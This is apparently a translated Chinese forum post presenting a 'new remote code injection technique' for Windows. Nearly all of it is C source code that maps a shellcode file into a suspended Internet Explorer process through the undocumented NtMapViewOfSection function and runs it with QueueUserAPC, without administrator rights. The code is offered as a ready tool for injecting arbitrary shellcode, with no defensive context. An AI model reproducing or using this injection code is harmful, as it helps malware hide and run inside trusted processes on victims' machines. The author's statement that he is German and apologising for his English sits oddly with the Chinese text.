遠程代碼注入新技術

遠程代碼注入新技術

BY Yogle

        我研究出了一種新的在遠程進程中執行代碼的可能性，就是利用一個未文檔函數在遠程進程地址空間寫入代碼，並且用一種新的技術在遠程進程中執行它，這種技術完全工作在使用者模式下，並且不需要特殊的條件比如像管理員權限或者之類的要求。請讓源碼說明一切。我為我的英文水平感到抱歉，我來自德國。

#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*,  SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;

LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress ) 
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;

// 轉換位移量
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 儲存大小和起始地址
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 轉換標誌為NT保護屬性
if (dwDesiredAccess & FILE_MAP_WRITE)
{
  Protect  = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
  Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
  Protect = PAGE_WRITECOPY;
}
else
{
  Protect = PAGE_NOACCESS;
}

//映射區段
Status = NtMapViewOfSection(hFileMappingObject,
        hProcess,
        &ViewBase,
        0,
        0,
                                &SectionOffset,
        &ViewSize,
                                ViewShare,
                                0,
        Protect);
if (!NT_SUCCESS(Status))
{
  // 失敗
  return NULL;
}

//返回起始地址
    return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

// 取ShellCode,任何你想實現的
HANDLE hFile = CreateFile ("C://shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 啟動目標進程
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C://Programme//Internet Explorer//iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);

// 注入shellcode到目標進程地址空間
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 建立一個新的能夠在目標線程恢複是首先執行的APC
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}